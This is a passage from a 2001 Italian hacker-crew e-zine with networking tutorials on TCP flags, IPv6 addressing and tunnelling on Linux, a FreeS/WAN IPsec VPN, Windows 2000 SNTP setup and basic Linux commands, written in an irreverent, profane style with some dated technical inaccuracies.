che il ricevente ha ricevuto i dati. Quando il campo giunge a zero il computer
che manda i dati smette di trasmettere.
16 bit per il checksum che viene calcolato solo sull'Header IP e non sui dati
trasmessi. Solitamente per calcolarlo si usa un algoritmo rippato dal comando
ping:-)
16 bit per l'urgent pointer. E' usato raramente. In sostanza dice al computer
remoto di non processare i vecchi dati ricevuti e di ricevere quelli nuovi.
Seguono le opzioni e i dati veri e propri.
Facciamo ancora una piccola parentesi sulle flag del TCP:
SYN SYNhronize sincronizza i numeri SEQ
ACK ACKnowledge riconosce i dati inviati dal peer
FIN FINished l'origine ha finito di inviare dati
RST ReSeT interrompe la connessione
PSH PuSH invia dati al ricevente il prima possibile
URG URGent dati urgenti in arrivo dall'origine
Ok...direi che per il TCP Ë tutto!
Per questa volta finiamo qui...la prox volta vediamo come due computer si
connettono tra loro. Studiate gente, studiate e buon lavoro a tutti!:-)))
Ciauzzzz > > > > > HACK tHe FuckInG PlaNeT< < < < < < <
------------------------------------*END*--------------------------------------
-------------------------------------[7]---------------------------------------
-------------------------------[[]Lord[V]icio[]]-------------------------------
----------------------------------[Cos'Ë IPV6]---------------------------------
IPV6:
Il nostro attuale protocollo Ë standarizzatoe la sua attuale versione Ë la Ipv4.
Questo nuovo protocollo Ë nato innanzitutto per ovviare al problema della
quantit‡ di indirizzi presente oggi con il vecchio protocollo evitando di
andare incontro alla necessit‡ di mettere in piedi un protocollo TCP/IP nuovo.
Ipv4 ha un intestazione di 32 bit in confronto al nuovo IPng ke ne ha ben 128.
Uno dei + evidenti benefici, a mio parere, Ë l'assegnazione automatica dell
indentificatore di interfaccia detto EUI-64 e quindi un estrema facilit‡ a metter
su una bella rete, che abbia come dato unico questo identificatore di interfaccia
per ogni macchina,e ne generi indirizzi Site local e Link local. Poi con un
router, si pu= assegnargli un Global IP sempre sfruttando l'indirizzo MAC,dal
quale il protocollo ricava l'identificatore di interfaccia.
Attualmente ipv6 nn Ë un vero e proprio protocollo come lo Ë il v4: "x ora" non
Ë altro che un tunnelling,ovvero il traffico IPv6 ke viene trasportato in pac-
chetti IPv4.La maggior parte degli host sono dual-stack, e possono utilizzare i
tunnel per instradare i pacchetti IPv6 su porzioni di rete solo IPv4 per rag-
giungere l'altra IPv6.
Allo stato attuale questo viene fatto dal SIT (Simple Internet Transition)
Principali Caratteristiche del SIT:
Box dual-stack (dette anche IPv4/IPv6)
Incapsulamento di pacchetti IPv6 in pacchetti IPv4 per attraversare parti di
rete ancora solo IPv4
_______________________________________________________________________________
Come abbiamo detto ipv6 ha un intestazione di 128 bit.
L'indirizzo e' composto da due campi il cui primo di lunghezza variabile,
chiamato Format Prefix (FP) indica il tipo di indirizzo, il secondo e' l'indi-
rizzo vero e proprio.
Gli indirizzi sono rappresentati mediante stringhe testo con il seguente formato:
x:x:x:x:x:x:x:x dove le x sono valori esadecimali rappresentanti 16 bit ciascuna.
IPV6 3ffe:13e4:1234:1aef:0000:0000:1234:0001 pu= essere rappresentato come
3ffe:13e4:1234:1aef::1234:1 ......... x rappresentarlo cosÏ nn bisogna levare
zeri di qua e di la :) ma bisogna seguire una regola: gli zeri (in forma ...
:0000:0000:0000:0000:... oppure ...:0:0:0:0:..), possono essere "fusi" in ..::..,
ma SOLO UNA VOLTA in tutto l'indirizzo.
3ffe:13e4:0000:0000:34:0000:0000:0001 non potr‡ mai essere visualizzato come
3ffe:13e4::34::1, ma ad esempio 3ffe:13e4::34:0:0:1.
Tutto kiaro??avete altre domande??venite al chan della crew o mandatemi un e-mail
xkË nn ho + intenzione di scrivere :P ... x il suo utilizzo su varie piattaforme
consultati gli atri tut della crew...Spero di esser stato kiaro....byez
SALUTI:alla crew,al chan #noflyzone,ai chan #lordspirit #winadmin #hack ....in
particolare a LoNeWoLfDeN,Crashes,Cristian84,DArklines.
FUCK:tutti i lamah,alla mia ex,a lordsabotatore al re dei lamah alexmessomalex
e a tutta quelli ke fanno le stanze hack in c6 ihhihi
www.vicio84.3000.it
www.noflyzone-crew.cjb.net
dove trovarmi:
c6: vicio84 o lordvicio
irc: irc.azzurra.it 6667 #NoFlyZone nick []LoRd[V]icio[]
_______________________________________
[ ]
[ Copyright (C) 2001 ]
[ ]
[ []LoRd[V]icio[] -lordvicio@hotmail.com ]
[ _______________________________________ ]
------------------------------------*END*--------------------------------------
-------------------------------------[8]---------------------------------------
--------------------------------- [Quasar]-------------------------------------
--------------------------[Implementare IPV6 si Linux]-------------------------
__NOFLYZONE CREW__
http://www.noflyzone-crew.cjb.net/
_ __
(_)_ ____ _ /
| | '_ \ \ / / '_ \
| | |_) \ V /| (_) |
|_| ._ \ \__ Tutorial forgiato da QUASAR Novembre 2001
|_|
-------------------------------------------------------------------------
Questa nn vuole essere una guida dettagliatissima ma un semplice aiuto
a chi vuole senza troppa fatica sperimentare l'ipv6 sulla propria
linux box.
Alcune nozioni e approfondimenti sono state prese dalla guida ufficiale
all'ipv6 "http://www.linuxhq.com/IPv6/"
"http://www.bieringer.de/linux/IPv6/"
-------------------------------------------------------------------------
__LA MAPPA DEL TUTORIAL__
[1] Software necessario e installazione
[2] Configurare Il proprio KERNEL
[3] Come creo il mio tunnel ipv6? guida ai Tunnel Broker
[4] Testare il proprio tunnel
[5] Entrare in chat con l'ipv6 :D
-------------------------------------------------------------------------
-------------------------------------------------------------------------
-------------------------------------------------------------------------
-------------------------------------------------------------------------
_
/ |
| |
| |_
|_(_) Software necessario e installazione
Elenchero' i programmi strettamente necessari da installare
-> iputils-ss010824.tar.gz < -
http://bofh.st/ipv6/downloads/frp.inr.ac.ru/iputils-ss001011.tar.gz
-> net-tools-1.60.tar.bz2 < -
ftp://ftp.netwinder.org/users/p/philib/net-tools/net-tools-1.60.tar.bz2
Per reperirli andate in www.freshmeat.net oppure usate i link da me
suggeriti
Una volta scaricati i file date i comandi
tar xfvz iputils-ss010824.tar.gz
bunzip -d net-tools-1.60.tar.bz2
tar xfv iputils-ss010824.tar.gz
Entrate nelle rispettive cartelle di ognuno dei due leggete i file INSTALL
(o readme) dando il comando 'cat INSTALL' normalmente per compilare un pro-
-gramma bisogna dare i seguenti comandi
./configure (nn sempre, ma se presente dare ./configure --help per opzioni)
make
make install
Ok ora dovreste avere tutto il necessario per continuare.
-------------------------------------------------------------------------
____
|___ \
__) |
/ _ _
|_____(_) Configurare Il proprio KERNEL
E' possibile abilitare l'ipv6 anche da versioni come 2.2.X basta scaricarsi
la patch, consiglio cmq di utilizzare una versione del kernel >= 2.4.5 per
nn avere problemi con la mia guida [www.kernel.org]
Una volta scaricato il sorgente del kernel spostatelo nella cartella
/usr/src date questi comandi
su root [password]
mv linux-2XX.tar.gz /usr/local
cd /usr/local
mkdir linux-2XX (a seconda della versione)
mv linux-2XX.tar.gz linux-2XX
cd linux-2XX
tar xfvz linux-2XX.tar.gz
cd linux
Ora che avete il kernel decompresso nella vostra cartella compiliamolo,
date questi comandi:
make mrproper xconfig
Vi apparira' un menu' grafico, dovrete abilitare le seguenti opzioni
per l'ipv6:
+---------------------------------------------------------------------+
|OPZIONE SCELTA YES MODULE NO|
+---------------------------------------------------------------------+
Code maturity Prompt for development YES
level options and/or incomplete
code / drivers
----------------------------------------------------------------------
Neworking Packet socket YES
options
Unix domain sockets YES
TCP/IP networking YES
The IPv6 protocol YES
-----------------------------------------------------------------------
File /proc filesystem YES
systems support
-----------------------------------------------------------------------
Ora andare su SAVE AND EXIT e dare i seguenti comandi
make dep
make clean
make bzImage
make modules
make modules_install
oppure
make dep clean bzImage modules modules_install
Ora bisogna aggiornare il LILO per far si che all'avvio del pc si possa
bootare l'immagine del kernel appena creata, consiglio di fare una copia
dell'immagine bzImage nella cartella di /boot
cp /usr/src/linux/arch/i386/boot/bzImage /boot/linuxXXX
(mettere al posto delle XXX la versione...cosi' gli cambiamo direttamente
il nome e sara' piu' chiaro per noi :D )
Ora aprite il file /etc/lilo.conf ed aggiungete la seguenti righe
image=/boot/linuxXXX
root=/dev/hdXX (dipende da dove si trova la vostra partizione '/')
label=LinuxXXX
read-only
Dove XXX Ë il numero del kernel nonche' il nome logico del file :D
Ora sempre da root digitate alla console LILO e aggiornerete il lilo
Bene ora riavviate il computer e scegliete all'avvio la vostra nuova
immagine.
Bene ora per vedere se il kernel riconosce l'ipv6 facciamo una prova,
prendete i diritti di ROOT e scrivete
ifconfig
Dovrebbe darvi il seguente output se nn vedete 'inet6 addr: ::1/128
Scope:Host'
allora l'ipv6 nn Ë abilitato
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
[...a noi interessa fino a qui...]
Editare ora il file /etc/protocols e aggiungere
ipv6 41 IPv6 # IPv6
ipv6-route 43 IPv6-Route # Routing Header for IPv6
ipv6-frag 44 IPv6-Frag # Fragment Header for IPv6
ipv6-crypt 50 IPv6-Crypt # Encryption Header for IPv6
ipv6-auth 51 IPv6-Auth # Authentication Header for IPv6
icmp6 58 IPv6-ICMP # ICMP for IPv6
ipv6-nonxt 59 IPv6-NoNxt # No Next Header for IPv6
ipv6-opts 60 IPv6-Opts # Destination Options for IPv6
Editate il file /etc/hosts ed aggiungete
::1 localhost-v6.localdomain localhost-v6
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
[NOTA: sostituire localhost e localdomain se avete dato un nome diverso
al vostro pc :D]
Ora facciamo un'altra prova date questo comando
ping6 ::1
(ecco l'output)
PING ::1(::1) from ::1 : 56 data bytes
64 bytes from ::1: icmp_seq=1 ttl=64 time=125 usec
64 bytes from ::1: icmp_seq=2 ttl=64 time=109 usec
64 bytes from ::1: icmp_seq=3 ttl=64 time=111 usec
64 bytes from ::1: icmp_seq=4 ttl=64 time=108 usec
64 bytes from ::1: icmp_seq=5 ttl=64 time=156 usec
64 bytes from ::1: icmp_seq=6 ttl=64 time=109 usec
Se Ë tutto ok bene andiamo avanti con la prossima parte
-------------------------------------------------------------------------
_____
|___ /
|_ \
___) |
|____(_) Come creo il mio tunnel ipv6? guida ai Tunnel Broker
Ora che avete tutto perfettamente funzionante dovrete creare un tunnel
che vi permetta di dialogare con un'isola ipv6, in genere bisogna
registrarsi a un TUNNEL BROKER (distributore di tunnel) che vi dia
un IP ipv6 associato al vostro IP normalmente usato con ipv4 (il protocollo
odierno) una volta fatto questo spiego ora principalmente cosa bisognera'
fare ogni qual volta ci si colleghera' con l'ipv6
-Collegarsi a internet
-Andare sul sito del proprio tunnel broker identificarsi e comunicargli
il proprio IP (ipv4)
-Aggiungere un route (strada) all'isola tramite IP e altre cose
Principali TUNNEL BROKER
http://www6.edisontel.com/
http://carmen.cselt.it/ipv6/
http://www.bersafe.it
Grazie a questi tunnel broker potrete usufruire di ipv6 infatti essi
forniscono
una rete sovrapposta a internet dove le proprie isole ipv6 comunicano tra
loro,
accessibili tramite un gateway e l'indirizzo ipv6 fornito dal server.
NOTA : Ogni qual volta si vuole usufruire del proprio tunnel bisogna
comunicare
al TUNNEL BROKER il proprio ip (ipv4) in quanto dinamico, altrimenti
nn sapra' associare all'ip (ipv6) il corrispondente ip (ip4)
-------------------------------------------------------------------------
_ _
| || |
| || |_
|__ _|
|_|(_)Testare il proprio tunnel
Ora nn rimane che testare il proprio ipv6 nonche' di attivare l'interfaccia
ipv6
ogni qual volta si comunica al TUNNEL BROKER il proprio ip (ipv4)
Una volta comunicato l'ipv4 a un tunnel b. date i seguenti comandi alla
vostra shell
ifconfig sit0 up
ifconfig sit0 add < metti qui il tuo ipv6 >
route -A inet6 add ::/0 gw ::< metti qui l'ipv4 tunnel broker >
Ecco ora Ë tutto ok avete dato un ROUTE (una strada) che porta al vostro
tunnel
broker e che vi dara' il vostro TUNNEL :D e avete attivato l'interfaccia
ipv6,
ora nn resta che provarlo per esempio con una bella chattata :D oppure date
questo comando
ping6 www.6bone.com
Se il ping vi risponde allora il tunnel Ë OK! :D
-------------------------------------------------------------------------
____
| ___|
|___ \
___) |
|____(_)Entrare in chat con l'ipv6 :D
L'ipv6 richiede il porting della maggior parte del software ma per chattare
con
il protocollo ipv6 si puo' usare gia' da ora BITCHX e XCHAT in quanto Ë
stato
gia' implementato, vi diro' ora a grandi linee come compilarsi XCHAT
abilitando
l'ipv6
-Scaricate l'ultima versione di XCHAT
-Comandi :
tar xfvz xchat_xxx.tar.gz
cd xchat_xxx
(date ./configure --help per vedere le opzioni disponibili)
./configure --enable-ipv6
make
make install
Ora avete compilato e installato Xchat con il supporto ipv6 attivo,da ora
in poi
fornendo un server che supporti l'ipv6 potrete collegarvi con questo
protocollo
Io vi consiglio il server azzurra dove guarda caso si trova il chan
#noflyzone ;D
ngnet.azzurra.org
Buona chattata!
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* * *
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* _\_| __ ) \ / / ____|__ / _\__
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/ _\ |_) || | | |_*_ / / / \
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|_____| *
*
* * *
*
+-------------------------------------------------------------------------+
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+-------------------------------------------------------------------------+
------------------------------------*END*--------------------------------------
-------------------------------------[9]---------------------------------------
-------------------------------[goony & haikia]--------------------------------
--------------------------[Virtual Private Network]----------------------------
---------------------------------------------
Gli autori non sono responsabili dei danni
futuri causati a cose e/o persone utilizzando
questo documento... :)
---------------------------------------------
Obiettivo:
----------
Capire cos'Ë una vpn e realizzare un collegamento criptato tra 2 reti locali.
Cassetta degli attrezzi:
------------------------
Noi abbiamo utilizzato questi elementi per raggiungere l'obiettivo.
Voi non siete necessariamente legati ad utilizzare questi...
- 2 macchine Linux: RedHat 7.1 (www.redhat.com)
Trustix Secure Linux 1.5 (www.trustix.net)
queste avranno la funzione di gateway, firewall...
- kernel linux 2.4.7 (www.kernel.org)
quelli di FreeS/WAN consigliano almeno il 2.2.19;
- FreeS/WAN 1.91 (www.freeswan.org)
implementazione opensource del protocollo IPSEC per realizzare
vpn con linux. non Ë l'unica soluzione (pptp?!) ma a noi
ci sembra molto valido ed affidabile;
- tcpdump (www.tcpdump.org)
bhe lo conoscete...
- basi di linux & networking... nel caso leggetevi i riferimenti
che trovate alla fine del documento...
- fortuna, pazienza! sempre! :)
Iniziamo con un po' di teoria
-----------------------------
Per prima cosa il termine inglese VPN sta per "Vitual Private Network",
ovvero una rete privata virtuale. Le vpn sono nate con il fine principale
di collegare in modo sicuro due o pi˘ reti private, utilizzando reti
pubbliche (internet), come mezzo di trasporto dei dati. Quindi in poche
parole parliamo di vpn quando trattiamo reti private che si estendono
su reti accessibili pubblicamente (non obbligatoriamente internet) e
indipendenti dalla tecnologia utilizzata per realizzarle.
Qui sotto un semplice schema per chiarire la teoria:
--------------- ---------------
| rete A | | rete B |
| | < - > ( internet ) < - > | |
| 192.168.1.0 | | 192.168.2.0 |
--------------- ---------------
Reggio Emilia Toronto
Una volta che le due reti sono state collegate tra di loro tramite vpn,
l'utente appartente alla reta A potr‡ ad esempio pingare un host della
rete B, passando da internet! Figo vero?! Non solo pingare, ma anche
lavorare in remoto (ssh), condividere files e stampanti (samba) e tutto
quello che vi passa per la testa, abbiate fantasia.
Ora vi chiederete per=, e la sicurezza?! E qui il bello!
Tutti i dati che viaggiano su internet tra le due reti possono
(devono!) essere criptati con svariati algoritmi per impedirne l'intercet-
tazione e verificarne l'autenticit‡. Parliamo allora delle 3 caratteristiche
fondamentali di una vpn: privatezza, integrit‡ e autenticazione.
1- privatezza: permette che un pacchetto sia ricevuto e leggibile solo e
soltanto al destinario di esso, rendendo inefficace l'utilizzo
di sniffer da parte di utenti smanettoni;
2- integrit‡: permette che i dati arrivino a destinazione integri e quindi
inalterati durante il tragitto;
3- autenticazione: permette di verificare con efficenza l'identit‡ del mittente,
evitando ad esempio fenomeni di spoofing;
Per ottenere questi risultati le vpn utilizzano protocolli di rete particolari,
tra i quali uno dei pi˘ rinomati Ë sicuramente IPSEC.
- IPSEC: "IP Security". E' un set di estensioni al protocollo IP che permettono
la criptazione di dati e i particolare i 3 elementi sopra descritti.
IPSEC offre un servizio simili all'SSL ma lavorando al livello network,
per essere cos'Ï totalmente trasparente alle diverse applicazioni.
IPSEC si compone principalmente di tre protocolli principali:
- AH (rfc2402): "Authentication Header". Permette l'autenticazione di un
pacchetto crittografando con un algoritmo forte l'header IP
del pacchetto stesso;
- ESP (rfc2406): "Encapsulating Security Payload". Permette la privatezza e
l'integrit‡ di un pacchetto cifrando il contenuto di esso
(payload = campo dati);
- IKE: "Internet Key Exchange". Permette la negoziazione tra i parametri di
connessione...
Questa Ë solo una piccola introduzione di concetti molto difficili e lunghi da
trattare.
Se volete saperne di pi˘ consiglio vivamente i link che trovate alla fine di
questo documento. Per la realizzazione dell'esperienza queste poche righe sono
pi˘ che sufficienti.
Installazione
-------------
Nella nostra esperienza cosa faremo? Partendo dal presupposto che abbiamo
gi‡ pronte e configurate due macchine linux collegate ad internet (entrambi
con collegamento perenne) che fungono da gateway per due reti private (esempio
la 192.168.1.0 e la 192.168.2.0) andremo a collegarle tra di loro, creando un
tunnel criptato tra le due macchine e quindi un canale di cumunicazione sicuro
tra le due reti. Notare, ovviamente, che le due reti devono avere indirizzi
privati diversi.
Iniziamo quindi a configurare il primo gateway, tenendo presente che la stessa
configurazione, con solo poche modifiche, sar‡ utilizzata anche per la seconda
macchina. Entrambe avranno un kernel 2.2.19 o superiore con il supporto per il
networking. Scarichiamo all'indirizzo ftp://ftp.xs4all.nl/pub/crypto/freeswan/
il pacchetto freeswan-1.91.tar.gz. Scegliamo una directory e s'inzia:
note: per installare correttamente FreeS/WAN avremo bisogno di...
- compilatore C (gcc o egcs)
- make, path e le solite cosette... ;)
- glibc
- GMP (GNU Multi-P recision) library
- libreire ncurses se volete usare il menuconfig (raccomandato)
- sorgenti ecc... ecc...
# cd /usr/src
# tar zxvf /usr/local/packages/freeswan-1.9.tar.gz
# cd /usr/src/freeswan-1.9
# make ogo (invoca "config" per configurare il kernel da linea di comando)
oppure
# make menugo (invoca "menuconfig" per configurare il kernel in modalit‡
text-mode. n.b. installatevi le lib ncurses)
oppure
# make xgo (invoca "xconfig" per configurare il kernel con X window)
# make kinstall (installa il nuovo kernel e i moduli se necessari)
L'ultimo comando "kinstall" equivale a fare "make; make install; make
modules ; make modules_install" con i sorgenti in /usr/src/linux.
A questo punto SE tutto Ë andato bene avremo le librerie necessarie in /usr/local,
gli script necessari per avviare e disattivare i servizi IPsec in /etc/rc.d e i
due file di configurazione /etc/ipsec.conf e /etc/ipsec.secrets.
Facciamo un reboot della macchina, non prima di aver sistemato il lilo...
note: alcune distribuzioni linux permettono di installare FreeS/WAN durante
l'installazione del sistema:
- European versions of SuSE Linux (Germany) www.suse.com
- Conectiva (Brazil) www.conectiva.com
- the server edition of Corel Linux (Canada) www.corel.com
- the Polish(ed) Linux Distribution (Poland) www.pld.org.pl
- Trustix Secure Linux (Norway) www.trustix.net (veramente carina!)
Verifichiamo ora che l'installazione sia avvenuta con successo. Durante il reboot
(date un occhio con il dmesg...) controlliamo che:
- la versione del kernel sia quella corretta e funzionante;
- appaia il messaggio di inizializzazione di KLIPS;
- Pluto sia stato avviato correttamente;
Oltre a questo usiamo...
# ipsec --version cosÏ possiamo vedere che il path Ë corretto e la
versione di IPsec;
# ipsec whack --status chiede a Pluto informazione sullo stato del processo
Naturalmente le informazioni di debug che riceveremo non saranno ottimali,
dobbiamo ancora configurare il tutto!
Configuriamo:
-------------
Sono due i files di configurazione di IPsec:
/etc/ipsec.conf per configurare il tutto con le informazioni relative alla
connessione...
/etc/ipsec.secretc contiene la chiave pubblica e privata utilizzate per la
criptazione dei dati...
note: l'algoritmo di cifratura utilizzato Ë l?RSA a 2.048 bit, il quale prevede
che ogni macchina presente nella Vpn possieda una chiave pubblica (nota a
tutte le macchine della vpn) e una chiave privata.
Queste chiavi sono generate durante l'installazione, ma potete crearle
voi stessi a mano per mezzo del comando IPSEC_RSASIGKEY (http://www.
freeswan.org/freeswan_trees/freeswan-1.91/doc/manpage.d/ipsec_rsasigkey.
8.html),ad esempio lanciando: # ipsec rsasigkey --verbose 2048 >mykey
che generer‡ le chiavi e le scriver‡ nel file "mykey". A quel punto
andate a recuperarle e mettetele nel vostro ipsec.secrets. (seguite le
istruzioni sul sito di FreeS/WAN)
ipsec.conf:
-----------
# basic configuration
config setup
interfaces="ipsec0=eth0"
klipsdebug=none
plutodebug=none
plutoload=%search
plutostart=%search
conn %default
keyingtries=0
conn linux1-linux2
left=212.*.15.101
leftsubnet=192.168.1.0/24
leftnexthop=212.*.15.1
right=213.*.20.66
rightsubnet=192.168.2.0/24
rightnexthop=213.*.20.65
auto=start
authby=rsasig
leftid=@firewalle.foobar.net
rightid=@fw.barfoo.it
leftrsasigkey=0x010373f12dd6e1d244895bfc237433bac1c0da...
rightrsasigkey=0x01037ff85e024bdbee96a64cfdfa3fb3e1f7a...
Da come si pu= notare il file Ë diviso in tre sezioni: la prima e la seconda
definiscono i parametri di carattere generale. Il pi\xf9 importante \xe8
"interface" che definisce tramite quale interfaccia di rete la macchina linux
si collega al mondo esterno. In generale tale parametro \xe8 impostato verso
l'interfaccia alla quale Ë impostato il defaultroute (default gateway) della
macchina , "ppp0" in caso di connessione con pppd, "ippp0" in caso di
connessione con isdn4linux ecc.
La sezione pi˘ importante Ë invece la terza, che definisce le caratteristiche
delle due macchine.
La "prima" macchina viene identificata come "left", la seconda come "right".
Descriviamo nel dettaglio le singole direttive:
- conn: assegna un nome alla connessione (tunnel) che vogliamo realizzare;
- leftid: nome completo di dominio della prima macchina;
- leftrsasigkey: chiave pubblica della prima macchina
(prelevabile dal file /etc/ipsec.secrets nel quale Ë caricata
la variabile pubkey);
- left: indirizzo Ip pubblico della prima macchina, ovvero quello assegnato dal
provider al momento della connessione e associato all'interfaccia di
rete che collega la macchina ad Internet(per esempio, "ppp0");
- leftnexthop: indirizzo Ip del default gateway assegnato dal provider al momento
della connessione,ovvero la prima macchina visibile facendo un
traceroute verso internet;
- auto: definisce il modo in cui la vpn deve essere attivata. Se \xe8 impostato
su start l'avvio avviene tramite script (/etc/rc.d/init.d ecc.);
Per quanto riguarda la "seconda" macchina (right), le impostazioni sono
esattamente le stesse.
Fate direttamente un copia incolla tra le due macchine.
Prima di provare... e il firewall dove lo mettiamo?!
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Se utilizzate dei firewall per proteggere le vostre reti, dovete abilitare il
passaggio di
pacchetti di determinati protocolli (vi ricordate di AH ed ESP?!) su una porta
particolare.
Leggete qui sotto:
- IKE uses the UDP protocol and port 500
- ESP is protocol number 50
- AH is protocol number 51
Nel nostro caso preoccupiamoci della porta 500 UDP e del protocollo 50.
Funzioner‡?
--------------
A questo punto vediamo se i nostri sforzi saranno premiati. Per prima cosa diamo
un occhio ai log.
Utilizziamo per questo il comando: #tail -f /var/log/messages. (magari in fase
di testing, associamo alle due variabili "klipsdebug" e "plutodebug" in
/etc/ipsec.conf il valore "all" cos'Ï da poter analizzare pi˘ logs...) Se poi
siamo smanettoni diamo un occhio anche qui: #cat /proc/net/ipsec_tncfg
Ora per avviare il tutto utilizzeremo il comando:
# ipsec auto --up name
su entrambi i gateway. Notare che "name" corrisponde al valore della variabile
"conn" in ipsec.conf.
Nel nostro caso "linux1-linux2". Per fermare il servizio utilizzeremo invece
il comando:
# ipsec auto --down name
Note: volendo possiamo anche srivere/utilizzare script del tipo
"/etc/rc.d/init.d/ipsec start" ecc.
per rendere la cosa pi˘ veloce ed automatica. Possiamo aggiungere anche
una riga di comando in fondo al file "rc.local" per far sÏ che il
servizio IPSEC si attivi in automatico all'avvio del nosti gateway.
Infine proviamo a vedere se l'obiettivo Ë raggiunto. Ad esempio da una macchina
della rete 192.168.1.0 proviamo a pingare una macchina della rete 192.168.2.0.
(Note: non provate a pingare un host dell'altra rete private direttamente dal
gateway, FreeS/WAN non lo permette, e per spiegazione controllate sul sito...)
Se il ping ha successo provate con ssh ecc, abbiate un po' di fantasia.. Provate
con il "traceroute" da un host all'altro delle due reti: se tutto Ë corretto
dovreste raggiungerlo con un solo solo hop.
In caso contrario controllate:
- connessione ad internet dei gateway;
- regole del firewall;
- configurazione dei due ipsec.conf;
- esattezza della chiavi;
- provate a pingare pi˘ host dell'altra rete;
- le macchine in esame sono accese? collegate? hanno firewall?
- utilizzate "tcpdump" direttamente sui due gateway per vedere cosa arriva...
- controllate i vari logs!!!!!
Riferimenti (in ordine semi-sparso!):
-------------------------------------
- http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/index.html "FreeS/WAN
documentation"
- http://inews.tecnet.it/articoli/Marzo2001/Linux0103.html "Linux + IPsec = Vpn"
di Piero Baudino"
- "Virtual Private Network" di Marco Ivaldi su Linux&C. n› 19
- http://www.openbsd.org/faq/faq13.html "Using IPSec - OpenBSD faq"
----------------------------------------------------
Autore: goony & haikia
Data Pubblicazione: Ottobre 01
Versione Documento: 0.1
Editor Usato: vi su una macchina OpenBSD 2.8
Riferimento: goony@inwind.it http://OpenBSD.tzone.it
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-------------------------------------[10]--------------------------------------
----------------------------------[1/2matto]-----------------------------------
------------------------------------[SNTP]-------------------------------------
...............................................................
..........SNTP(Simple Network Time Protocol) su Win2k..........
...............................................................
.......................scritto da m3zz0m4tt0 di #winadmin......
.......................................per noflyzone crew......
...............................................................
..
..
.. Chi non si ricorda i vecchissimi Personal Computers con le
.. prime versioni del DOS che all'avviamento del sistema
.. chiedevano di inserire la DATA e l'ORA?
.. Forse le cose oggi sono un po' cambiate, nei computers ci
.. sono gli imprecisi orologi di sistema che non costringono
.. gli utenti a dover digitare tali informazioni ad ogni
.. accensione, lasciando pero' l'onere di supervisionare al
.. buon funzionamento degli orologi.
..
.. Mi sto ponendo una domanda! come possiamo noi imprecisi
.. utenti supervisionare gli imprecisi orologi di sistema?
..
.. Leggendo qua e la ho trovato nel sito dell' IETF
.. (Internet Enginering Task Force) un RFC che potrebbe
.. aiutarci a risolvere queste problematiche.
.. (RFC 2030 Simple Network Time Protocol (SNTP) Version 4
.. for IPv4, IPv6 and OSI)
..
.. Vediamo ora come utilizzare il Simple Network Time Protocol
.. su una macchina Windows 2000(perchË proprio il 2000? perchË
.. Ë l'uniko Windows che ha saputo affascinarmi).
..
.. innanzitutto apriamo la shell e indichiamo al servizio
.. "Ora di Windows" (lo potete trovare tra gli strumenti di
.. amministrazione alla voce Servizi) a quale server deve
.. agganciarsi per prelevare l'ora esatta.
..
.. net time /setsntp:tick.usno.navy.mil
..
.. il sistema dovrebbe rispondere con:
.. esecuzione del comando riuscita
..
.. a questo punto possiamo richiedere dalla shell una
.. sincronizzazione
..
.. w32tm -once
..
.. sulla shell windows(o prompt dei comandi per i piu' pignoli)
.. comparira' una cosa tipo:
..
.. W32Time: BEGIN:InitAdjIncr
.. W32Time: Adj 100144 , Incr 100144 fAdjust 0
.. W32Time: END:Line 2476
.. W32Time: BEGIN:TsUpTheThread
.. W32Time: END Line 1385
.. W32Time: TimeMMInit()
.. W32Time: Kernel timer : using default maximum resolution
.. W32Time: MaximumTime = 100144
.. W32Time: CurrentTime = 100144
.. W32Time: Timer calibrated, looped 1 times
.. [......]
.. W32Time: END:Line 794
.. W32Time: END:Line 794
.. W32Time: END:Line 220
.. W32Time: END:Line 195
.. W32Time: BEGIN:TermTime
.. W32Time: TimeMMCleanup()
.. W32Time: BEGIN:FinishCleanup
.. W32Time: BEGIN:TsUpTheThread
.. W32Time: END Line 1385
.. W32Time: Time service stopped.
.. W32Time: END:Line 407
..
.. l'ora di Windows Ë aggiornata, non ci resta che attivare
.. il relativo servizio per compiere automaticamente quello che
.. noi non abbiamo mai fatto e che non inizieremo mai a fare
..
.. net start w32time
..
.. per sapere su quale server la nostra macchina fa le query
.. basta scrivere
..
.. net time /querysntp
..
..
.. by _1\2MaTto
.. Per contattarmi: mezzomatto@hotmail.com
.. irc.azzurra.it #winadmin #noflyzone
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-----------------------------------[[Evil]]------------------------------------
----------------------------[Comandi base di Linux]----------------------------
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.::LinuxBase::.
OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
io non mi ritengo responsabile di come utilizzerete le informazioni
contenute in questa guida in quanto da me offerte a puro scopo
informativo!!
insomma in poche parole NON FATE CAZZATE!
OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
questa guida Ë copyright di [Evil]
www.evil87.cjb.net
Saluti: ReSiNaRo , NoFlyZone-Crew , Ness1 , Do^Sh1n , Tommy_ ,
Fuck To: lamerz
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Linux intro
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Dedicato a tutti gli abitanti del pianeta windows:
Linux Ë un OS (Operative System) molto diverso da windows , difatti
a gli utenti di windows Ë SCONSIGLIATO , installare linux e disinstallare windows!
insomma che ha di diverso linux?
linux a differenza di windows ha puntato molto sulla versabilit‡ del
sistema e sulla sicurezza , difatti in linux con accesso root potete
"modellare" linux a vostro piacimento , solo che non sono dei semplici
doppio click a farvi fare quello che volete , ma dovrete dare comandi
"unix" a linux , che verranno tradotti in linguaggio macchina . E' come
lavorare con windows usando SOLO il dos , solo che Ë pi˘ complicato...
qui di seguito riporter= i comandi pi˘ usati con linux ...
P.S prima di usare linux leggete pi˘ guide possibili riguardanti questo
OS e incominciate a studiarvi un p= come funzia il dos e telnet (telnet
usa comandi unix)..
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Comandi
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cd sintassi: cd dyrectory 'porta alla directory specificata
- -
cd .. riporta alla directory precedente
- -
pwd indica la directory remota
- -
clear pulisce lo schermo
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compress sintassi: compress [-v] file 'comprime un file = .Z
- -
zcat decomprime un file
- -
cp sintassi: cp file directory 'copia un file
- -
date da informazioni sulla data
- -
ls mostra contenuto directory remota
- -
joe editor di testo
- -
df informa sullo spazio rimanente sul disco rigido
- -
du informa sullo spazio occupato dai vostri file
- -
history mostra l'elenco dei comandi usati
- -
id informa sul propio id
- -
less sintassi: less file 'mostra il contenuto di un file
- -
